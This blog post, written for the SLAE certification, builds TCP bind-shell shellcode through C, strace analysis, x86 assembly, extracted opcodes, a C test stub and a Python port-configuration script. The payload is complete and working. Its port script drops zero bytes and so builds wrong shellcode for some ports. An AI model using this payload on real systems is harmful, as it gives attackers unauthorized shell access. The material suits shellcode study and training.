SLAE Problem 1: TCP Bind Shell Shellcode

December 18, 2016 - 14 minute read -
asm shellcode c

Assignment 1

This blog post has been created for completing the requirements fo the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-824

Requirements

  • Create a Shell Bind TCP shellcode
    • Bind to a port
    • Execs Shell on incoming connection
  • Port number should be easily configurable

Strategy

My approach to building a tcp bind shell shellcode will be to:

  • Create a C program which illustrates the basic functionality
  • Analyze the C program system calls to see how the program interacts with the kernel to accomplish its tasks
  • Lookup the system calls and see what arguments and structures they take
  • Attempt to write some assembly that calls the same system calls in the same order with the same arguments as the C program does
  • Debug issues as of course there will be :)

The Source Code

The source code and tools referenced in this article can be found here: The Source Code and Tools

The C program

From my experience playing around with socket programming in C and Python, there is a basic formula and group of function calls for creating clients and servers. Most of them will be useful to us. A couple won’t be applicable to our situation. The functions we will find useful are:

  • Socket: Open a socket over which we will communicate. Essentially a file descriptor
  • Bind: Bind our socket to an interface on our system
  • Listen: Tell our system that we are ready to start accepting connections
  • Accept: Accept the connection. This is a necessary next step as listen will generally queue up connections in anticipation of them being accepted

Functions we won’t worry about:

  • Send
  • Recv
  • Connect
  • Close

We won’t worry about send or recv because they are used for managing the flow of data coming in and out and acting accordingly. We are instead going to just redirect stdin, stdout, and stderr over the socket using a function called dup2 and not worry about managing the flow of data. Since we aren’t connecting to another system/server we don’t need to worry about connect. And as for close, it is generally good practice to close files after your done with them but one leaked file descriptor won’t hurt anyone right? We need to trim the fat!

The final step after we get our redirection going is we just need to run a program, in our case /bin/sh and its output and input should be connected to our socket. We can run this program using execve.

So lets get some code going!

      #include <stdio.h>
      #include <netinet/in.h>
      #define PORT 4444
    
      int main(int argc, char **argv) {
        // Create a socket
        int lsock = socket(AF_INET, SOCK_STREAM, 0);
    
        // Setup servr side config struct
        // We configure:
        // The family:IPv4
        // The interface: 0.0.0.0 (any)
        // The port: port#
        struct sockaddr_in config;
        config.sin_family = AF_INET;
        config.sin_addr.s_addr = INADDR_ANY;
        // The htons() function converts the
        // unsigned short integer hostshort from host byte
        // order to network byte order.
        config.sin_port = htons(PORT);
    
        // Bind the created socket with the interface
        // specified in the configuration
        bind(lsock, (struct sockaddr *)&config, sizeof(config));
    
        // Listen on the socket
        listen(lsock, 0);
    
        // Accept the incoming connection
        int csock = accept(lsock, NULL, NULL);
    
        // Redirect stdin, stdout, and stderror
        dup2(csock, 0);
        dup2(csock, 1);
        dup2(csock, 2);
    
        // Execute a shell
        execve("/bin/sh", NULL, NULL);
    };

Compiling this code with gcc bindshell.c -o bindshell gives us a nice executable. Running the executable with ./bindshell and then looking at our network using netstat -antp yields something very interesting:

    root@blahblah:~# netstat -atp Active Internet connections (servers and
    established) Proto Local Address Foreign Address State PID/Program
    name tcp *:4444 *:* LISTEN 1657/bindshell

Excellent! We have /bin/sh listen bound to a port. If we open up another terminal and use netcat to connect to port 4444 by running nc -nv -nv 127.0.0.1 4444 we will get:

root@blahblah:~# nc -nv 127.0.0.1 4444 (UNKNOWN) [127.0.0.1] 4444 (?)
open id uid=0(root) gid=0(root) groups=0(root)

Perfect! We have a tcp bind shell connection. Now we have to convert this to assembly…

Analysis of the C program

We can use a tool called strace to help us learn more about what system calls our bind shell c program is making. Running strace ./bindshell, connecting to the bindshell with nc -nv 127.0.0.1 4444 and filtering out the noise we will see:

root@blahblah:~/shared/SLAE/slae/exercise1# strace ./bindshell
execve("./bindshell", ["./bindshell"], [/* 41 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3,
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", [0], [/* 0 vars */])  = 0

Ok. It looks like our code makes some system calls that seem to align with the functions we know to be part of our socket programming formula along with the stdin, stdout, and stderror redirection and our execve call to run /bin/sh.

Lets lookup the system calls to find out their system call numbers. We will consult /usr/include/i386-linux-gnu/asm/unistd_32.h for these numbers…

When we consult the listing of syscalls we encounter a bit of confusion. The only system calls that seem to closely match up with what we saw in our strace are:

#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
#define __NR_mbind 274

This is strange. execve and dup2 look good but there doesn’t seem to be any syscall numbers for socket,listen, or accept. socketcall seems a bit odd as does mbind so we will have to look into this.

Consulting man socketcall we learn:

int socketcall(int call, unsigned long *args);

/**
socketcall() is a common kernel entry point for the socket system
calls.  call determines which socket function to invoke.  args points
to a block containing the actual arguments, which are passed through
to the appropriate call.

User programs should call the appropriate functions by their usual
names.  Only standard library implementors and kernel hackers need to
know about socketcall().
**/

So that seems to explain things a little bit. The first argument to socketcall is a number that represents the actual socket api function that we want to be calling. Ok… Where do we get the number associated with each of the api calls?

A little Google search for socketcall call numbers brings us:

socketcall call numbers

In this blog post we confirm our knowledge about the first argument of socketcall as well as learn about /usr/include/linux/net.h

Lets checkout that file and see if we can learn the numbers we are looking for.

#define SYS_SOCKET  1   /* sys_socket(2)    */
#define SYS_BIND    2   /* sys_bind(2)      */
#define SYS_CONNECT 3   /* sys_connect(2)   */
#define SYS_LISTEN  4   /* sys_listen(2)    */
#define SYS_ACCEPT  5   /* sys_accept(2)    */
// ... snip

So it looks like the mbind syscall we saw earlier might not be necessary as it looks like there is a bind syscall number that we can call with socketcall. We’ll try that out and see how that goes.

Now that we know the syscalls and their corresponding numbers, we need to figure out their function signatures so that we know what sort of arguments we need to be passing to them when we invoke them. The metnod signatures look like the following:

    int socketcall(int call, unsigned long *args);
    int socket(int domain, int type, int protocol);
    int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    int listen(int sockfd, int backlog);
    int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
    int dup2(int oldfd, int newfd);
    int execve(const char *filename, char *const argv[], char *const envp[]);
    // ... snip

We also leveraged 2 structs in our C program which we will most likely need to replicate.

    #include <netinet/in.h>
    
    // All pointers to socket address structures are often cast to pointers
    // to this type before use in various functions and system calls:
    
    struct sockaddr {
        unsigned short    sa_family;    // address family, AF_xxx
        char              sa_data[14];  // 14 bytes of protocol address
    };
    
    
    // IPv4 AF_INET sockets:
    
    struct sockaddr_in {
        short            sin_family;   // e.g. AF_INET, AF_INET6
        unsigned short   sin_port;     // e.g. htons(3490)
        struct in_addr   sin_addr;     // see struct in_addr, below
        char             sin_zero[8];  // zero this if you want to
    };

Ok. Using what we have gathered from our analysis lets take an attempt at writing some assembly!

Assembly: Take 1

Lets lookup some values of constants:

~/usr/src/linux-headers-4.0.0-kali1-common/include/linux/socket.h~

#define AF_INET   2 /* Internet IP Protocol   */

I had a hard time finding where SOCK_STREAM was defined so we use a little gcc magic to see what the macro expands to:

root@blahblah:~/shared/SLAE/slae/exercise1# gcc -DN -E bindshell.c | grep SOCK_STREAM
SOCK_STREAM = 1,
int lsock = socket(2, SOCK_STREAM, 0);

#define INADDR_ANY ((unsigned long int) 0x00000000)
    global _start
    ;; Note: We will store 2 file descriptors along the way
    ;; We will put the listening socket file descriptor in edi
    ;; We will put the connection socket file descriptor in ebx
    
    section .text
      _start:
        ;; Create a socket
        ;; int socketcall(int call, unsigned long *args);
        ;; int socket(int domain, int type, int protocol);
        ;; #define SYS_SOCKET 1   /* sys_socket(2)    */
        ;; Use socketcall to call down to socket
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x1 ; sys_socket syscall number
    
        ;; Put the socket() args on the stack
        xor ecx, ecx
        push ecx ; Specify protocol as 0
        push ebx ; SOCK_STREAM is the type of socket 1
        push 0x2 ; Domain af_inet sets protocol family to ip protocol 2
    
        mov ecx, esp ; Save pointer to args for the socket() call
        int 0x80 ; call sys_socket
    
        ; Save the returned listening socket file descriptor
        xor edi, edi
        mov edi, eax
    
        ;; Bind the socket
        ;; Use socketcall to call down to socket
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x2 ; sys_bind syscall number
    
        ;; Start building the sockaddr_in structure
        ;; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
        ; sin_addr=0 (INADDR_ANY)
        ; INADDR_ANY Accept on any interface 0x00000000
        xor ecx, ecx
        push ecx
    
        ;; 4444 is 0x115c in little endian. Network byte order is
        ;; Big endian so we swap the byte ordering
        push word 0x5c11 ; sin_port=4444 (network byte order)
        push word bx     ; sin_family=AF_INET (0x2)
        mov ecx, esp     ; move pointer to sockaddr_in structure
    
        ;; In the initial code we use sizeof to derive the addrlen
        ;; If we print the results of that we get 0x10 which is 16 bytes
        push 0x10 ;addrlen=16
        push ecx  ;struct sockaddr pointer
        push edi  ;sockfd
        mov ecx, esp ;save pointer to bind() args
        int 0x80 ; call sys_bind
    
        ;; Call listen and prepare for accepting connections
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x4 ; sys_listen syscall number
    
        ;; Place listen's arguments on the stack
        xor ecx, ecx
        push ecx ; backlog we set to zero
        push edi ; push the socket file descriptor
        mov ecx, esp ; place a pointer to the args in ecx
        int 0x80 ; call sys_listen
    
        ;; Call accept
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x5 ; sys_accept syscall number
        ;; Place accept's arguments on the stack
        ;; We don't need a peer socket???... so we
        ;; use nulls for addrlen and sockaddr struct
        xor ecx, ecx
        push ecx ; Push NULL (0x00000000) for addrlen
        push ecx ; Push NULL (0x00000000) for sockaddr struct
        push edi ; Push the listening sockets file descriptor
        mov ecx, esp ; place a pointer to the args in ecx
        int 0x80 ; call sys_accept
    
        ;; Save the returned connection socket file descriptor
        xor ebx, ebx
        mov ebx, eax
    
        ;; Call dup2 for stdin, stdout, and stderr in a loop
        xor ecx, ecx
        mov cl, 0x2 ;loop counter
      dup2:
        mov al, 0x3f ;dup2
        int 0x80
        dec ecx
        jns dup2
    
        ;; Call execve
        xor eax, eax
        mov al, 0xb ;execve
        xor ebx, ebx
        push ebx
        push 0x68732f2f ;"sh//"
        push 0x6e69622f ;"nib/"
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        int 0x80

When we compile the above shellcode using the compile.sh script below:

    #!/bin/bash
    echo '[+] Assembling with Nasm ... '
    nasm -f elf32 -o $1.o $1.nasm
    
    echo '[+] Linking ...'
    ld -o $1 $1.o
    
    echo '[+] Done!'

root@blahblah:~/shared/SLAE/slae/exercise1# ./compile.sh bindshellasm

And run the shellcode using:

root@blahblah:~/shared/SLAE/slae/exercise1# ./bindshellasm

And connect using netcat:

#!/bin/bash
root@blahblah:~/shared/SLAE/slae/exercise1# nc -nv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=0(root) gid=0(root) groups=0(root)

Bingo! Our assembly works and gives us a tcp bind shell. Now we need to test it in our c program stub. We will use some command line fu to get the opcodes from our binary:

root@funos:~/shared/SLAE/slae/exercise1# objdump -d ./bindshellasm|grep '[0-9a-f]:'| \
grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '\
|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x31"
"\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04"
"\x31\xc9\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xc9\x51"
"\x51\x57\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49"
"\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

We add our opcodes to a stub tester C program:

    #include<stdio.h>
    #include<string.h>
    
    unsigned char code[] = \
    "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x31"
    "\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66"
    "\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04"
    "\x31\xc9\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xc9\x51"
    "\x51\x57\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49"
    "\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    "\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
    
    
    main()
    {
    
      printf("Shellcode Length:  %d\n", strlen(code));
    
      int (*ret)() = (int(*)())code;
    
      ret();
    
    }

Compile with: gcc shellcode.c -o shellcode Run with: ./shellcode Connect with: nc -nv 127.0.0.1 4444

And it works! We get our shell. The shellcode is 122 bytes without really trying to optimize. We can always go back and try to optimize. We also need to update the program to make the port number easily configurable.

Let’s write a wrapper script to set our port. We just accept the port as a command line argument to our script and interpolate it into our shellcode and print out the result:

    #!/usr/bin/python
    
    import sys
    
    if len(sys.argv) != 2:
      print "Fail!"
    
    port_number     = int(sys.argv[1])
    bts             = [port_number >> i & 0xff for i in (24,16,8,0)]
    filtered        = [b for b in bts if b > 0]
    formatted       = ["\\x" + format(b, 'x') for b in filtered]
    joined          = "".join(formatted)
    
    shellcode ="\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x53\\x6a\\x02\\x89\\xe1"
    shellcode+="\\xcd\\x80\\x31\\xff\\x89\\xc7\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x02\\x31\\xc9"
    shellcode+="\\x51\\x66\\x68" + joined + "\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57"
    shellcode+="\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x04\\x31\\xc9\\x51\\x57"
    shellcode+="\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x05\\x31\\xc9\\x51\\x51"
    shellcode+="\\x57\\x89\\xe1\\xcd\\x80\\x31\\xdb\\x89\\xc3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd"
    shellcode+="\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68"
    shellcode+="\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80"
    
    print(shellcode)

Once we have our script we print out our updated shellcode and pop it back into our shellcode.c stub program, compile and test a connection. When we do, we get our shell again. And even better, we can change the port to whatever we would like to yield the proper shellcode.